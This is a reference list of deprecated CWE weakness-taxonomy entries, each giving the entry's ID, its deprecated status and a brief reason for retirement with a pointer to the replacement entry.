This category has been deprecated. It was originally used for organizing weaknesses involving file names, which enabled access to files outside of a restricted directory (path traversal) or to perform operations on files that would otherwise be restricted (path equivalence). Consider using either the File Handling Issues category (CWE-1219) or the class Use of Incorrectly-Resolved Name or Reference (CWE-706).

CWE-60: DEPRECATED: UNIX Path Link Problems

CWE ID : 60 **Status:** Deprecated

Summary

This category has been deprecated. It covered a very low level of abstraction based on operating system, which was not useful for any existing view.

CWE-63: DEPRECATED: Windows Path Link Problems

CWE ID : 63 **Status:** Deprecated

Summary

This category has been deprecated. It covered a very low level of abstraction based on operating system, which was not useful for any existing view.

CWE-68: DEPRECATED: Windows Virtual File Problems

CWE ID : 68 **Status:** Deprecated

Summary

This category has been deprecated as it was found to be an unnecessary abstraction of platform specific details. Please refer to the category CWE-632 and weakness CWE-66 for relevant relationships.

CWE-70: DEPRECATED: Mac Virtual File Problems

CWE ID : 70 **Status:** Deprecated

Summary

This category has been deprecated as it was found to be an unnecessary abstraction of platform specific details. Please refer to the category CWE-632 and weakness CWE-66 for relevant relationships.

CWE-71: DEPRECATED: Apple '.DS_Store'

CWE ID : 71 **Status:** Deprecated

Description

This entry has been deprecated as it represents a specific observed example of a UNIX Hard Link weakness type rather than its own individual weakness type. Please refer to CWE-62.

CWE-92: DEPRECATED: Improper Sanitization of Custom Special Characters

CWE ID : 92 **Status:** Deprecated

Description

This entry has been deprecated. It originally came from PLOVER, which sometimes defined "other" and "miscellaneous" categories in order to satisfy exhaustiveness requirements for taxonomies. Within the context of CWE, the use of a more abstract entry is preferred in mapping situations. CWE-75 is a more appropriate mapping.

CWE-100: DEPRECATED: Technology-Specific Input Validation Problems

CWE ID : 100 **Status:** Deprecated

Summary

This category has been deprecated. It was originally intended as a "catch-all" for input validation problems in technologies that did not have their own CWE, but introduces unnecessary depth to the hierarchy.

CWE-101: DEPRECATED: Struts Validation Problems

CWE ID : 101 **Status:** Deprecated

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-69 9), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-132: DEPRECATED (Duplicate): Miscalculated Null Termination

CWE ID : 132 **Status:** Deprecated

Description

This entry has been deprecated because it was a duplicate of CWE-170. All content has been transferred to CWE-170.

CWE-139: DEPRECATED: General Special Element Problems

CWE ID : 139 **Status:** Deprecated

Summary

This entry has been deprecated. It is a leftover from PLOVER, but CWE-138 is a more appropriate mapping.

CWE-169: DEPRECATED: Technology-Specific Special Elements

CWE ID : 169 **Status:** Deprecated

Summary

This category has been deprecated. It was originally intended as a "catch-all" for input validation problems in technologies that did not have their own CWE, but introduces unnecessary depth to the hierarchy.

CWE-171: DEPRECATED: Cleansing, Canonicalization, and Comparison Errors

CWE ID : 171 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree. Weaknesses in this category were related to improper handling of data within protection mechanisms that attempt to perform neutralization for untrusted data. These weaknesses can be found in other similar categories.

CWE-216: DEPRECATED: Containment Errors (Container Errors)

CWE ID : 216 **Status:** Deprecated

Description

This entry has been deprecated, as it was not effective as a weakness and was structured more like a category. In addition, the name is inappropriate, since the "container" term is widely understood by developers in different ways than originally intended by PLOVER, the original source for this entry.

CWE-217: DEPRECATED: Failure to Protect Stored Data from Modification

CWE ID : 217 **Status:** Deprecated

Description

This weakness has been deprecated because it incorporated and confused multiple weaknesses. The issues formerly covered in this weakness can be found at CWE-766 and CWE-767.

CWE-218: DEPRECATED (Duplicate): Failure to provide confidentiality for stored data

CWE ID : 218 **Status:** Deprecated

Description

This weakness has been deprecated because it was a duplicate of CWE-493. All content has been transferred to CWE-493.

CWE-225: DEPRECATED (Duplicate): General Information Management Problems

CWE ID : 225 **Status:** Deprecated

Description

This weakness can be found at CWE-199.

CWE-247: DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision

CWE ID : 247 **Status:** Deprecated

Description

This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

CWE-249: DEPRECATED: Often Misused: Path Manipulation

CWE ID : 249 **Status:** Deprecated

Description

This entry has been deprecated because of name confusion and an accidental combination of multiple weaknesses. Most of its content has been transferred to CWE-785.

CWE-292: DEPRECATED (Duplicate): Trusting Self-reported DNS Name

CWE ID : 292 **Status:** Deprecated

Description

This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

CWE-373: DEPRECATED: State Synchronization Error

CWE ID : 373 **Status:** Deprecated

Description

This entry was deprecated because it overlapped the same concepts as race condition (CWE-362) and Improper Synchronization (CWE-662).

CWE-376: DEPRECATED: Temporary File Issues

CWE ID : 376 **Status:** Deprecated

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree. Consider using the File Handling Issues category (CWE-1219).

CWE-380: DEPRECATED: Technology-Specific Time and State Issues

CWE ID : 380 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-381: DEPRECATED: J2EE Time and State Issues

CWE ID : 381 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-418: DEPRECATED: Channel Errors

CWE ID : 418 **Status:** Deprecated

Summary

This category has been deprecated because it redundant with the grouping provided by CWE-417.

CWE-423: DEPRECATED (Duplicate): Proxied Trusted Channel

CWE ID : 423 **Status:** Deprecated

Description

This entry has been deprecated because it was a duplicate of CWE-441. All content has been transferred to CWE-441.

CWE-442: DEPRECATED: Web Problems

CWE ID : 442 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-443: DEPRECATED (Duplicate): HTTP response splitting

CWE ID : 443 **Status:** Deprecated

Description

This weakness can be found at CWE-113.

CWE-445: DEPRECATED: User Interface Errors

CWE ID : 445 **Status:** Deprecated

Summary

This weakness has been deprecated because it was a duplicate of CWE-355. All content has been transferred to CWE-355.

CWE-458: DEPRECATED: Incorrect Initialization

CWE ID : 458 **Status:** Deprecated

Description

This weakness has been deprecated because its name and description did not match. The description duplicated CWE-454, while the name suggested a more abstract initialization problem. Please refer to CWE-665 for the more abstract problem.

CWE-461: DEPRECATED: Data Structure Issues

CWE ID : 461 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-490: DEPRECATED: Mobile Code Issues

CWE ID : 490 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-503: DEPRECATED: Byte/Object Code

CWE ID : 503 **Status:** Deprecated

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-504: DEPRECATED: Motivation/Intent

CWE ID : 504 **Status:** Deprecated

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-505: DEPRECATED: Intentionally Introduced Weakness

CWE ID : 505 **Status:** Deprecated

Summary

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-513: DEPRECATED: Intentionally Introduced Nonmalicious Weakness

CWE ID : 513 **Status:** Deprecated

Summary

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-516: DEPRECATED (Duplicate): Covert Timing Channel

CWE ID : 516 **Status:** Deprecated

Description

This weakness can be found at CWE-385.

CWE-517: DEPRECATED: Other Intentional, Nonmalicious Weakness

CWE ID : 517 **Status:** Deprecated

Summary

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-518: DEPRECATED: Inadvertently Introduced Weakness

CWE ID : 518 **Status:** Deprecated

Summary

This category has been deprecated as it was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-519: DEPRECATED: .NET Environment Issues

CWE ID : 519 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-533: DEPRECATED: Information Exposure Through Server Log Files

CWE ID : 533 **Status:** Deprecated

Description

This entry has been deprecated because its abstraction was too low-level. See CWE-532.

CWE-534: DEPRECATED: Information Exposure Through Debug Log Files

CWE ID : 534 **Status:** Deprecated

Description

This entry has been deprecated because its abstraction was too low-level. See CWE-532.

CWE-542: DEPRECATED: Information Exposure Through Cleanup Log Files

CWE ID : 542 **Status:** Deprecated

Description

This entry has been deprecated because its abstraction was too low-level. See CWE-532.

CWE-545: DEPRECATED: Use of Dynamic Class Loading

CWE ID : 545 **Status:** Deprecated

Description

This weakness has been deprecated because it partially overlaps CWE-470, it describes legitimate programmer behavior, and other portions will need to be integrated into other entries.

CWE-559: DEPRECATED: Often Misused: Arguments and Parameters

CWE ID : 559 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-592: DEPRECATED: Authentication Bypass Issues

CWE ID : 592 **Status:** Deprecated

Description

This weakness has been deprecated because it covered redundant concepts already described in CWE-287.

CWE-596: DEPRECATED: Incorrect Semantic Object Comparison

CWE ID : 596 **Status:** Deprecated

Description

This weakness has been deprecated. It was poorly described and difficult to distinguish from other entries. It was also inappropriate to assign a separate ID solely because of domain-specific considerations. Its closest equivalent is CWE-1023.

CWE-630: DEPRECATED: Weaknesses Examined by SAMATE

CWE ID : 630 **Status:** Deprecated

Objective

This view has been deprecated. It was only used for an early year of the NIST SAMATE project, and it did not represent any official or commonly-utilized list.

CWE-631: DEPRECATED: Resource-specific Weaknesses

CWE ID : 631 **Status:** Deprecated

Objective

This view has been deprecated because it is not actively maintained and does not provide utility to stakeholders. It was originally created before CWE 1.0 as a simple example of how views could be structured within CWE.

CWE-632: DEPRECATED: Weaknesses that Affect Files or Directories

CWE ID : 632 **Status:** Deprecated

Summary

This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.

CWE-633: DEPRECATED: Weaknesses that Affect Memory

CWE ID : 633 **Status:** Deprecated

Summary

This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.

CWE-634: DEPRECATED: Weaknesses that Affect System Processes

CWE ID : 634 **Status:** Deprecated

Summary

This category has been deprecated. It was not actively maintained, and it was not useful to stakeholders. It was originally created before CWE 1.0 as part of view CWE-631, which was a simple example of how views could be structured within CWE.

CWE-679: DEPRECATED: Chain Elements

CWE ID : 679 **Status:** Deprecated

Objective

This view has been deprecated. It has limited utility for stakeholders, since all weaknesses can be links in a chain.

CWE-769: DEPRECATED: Uncontrolled File Descriptor Consumption

CWE ID : 769 **Status:** Deprecated

Description

This entry has been deprecated because it was a duplicate of CWE-774. All content has been transferred to CWE-774.
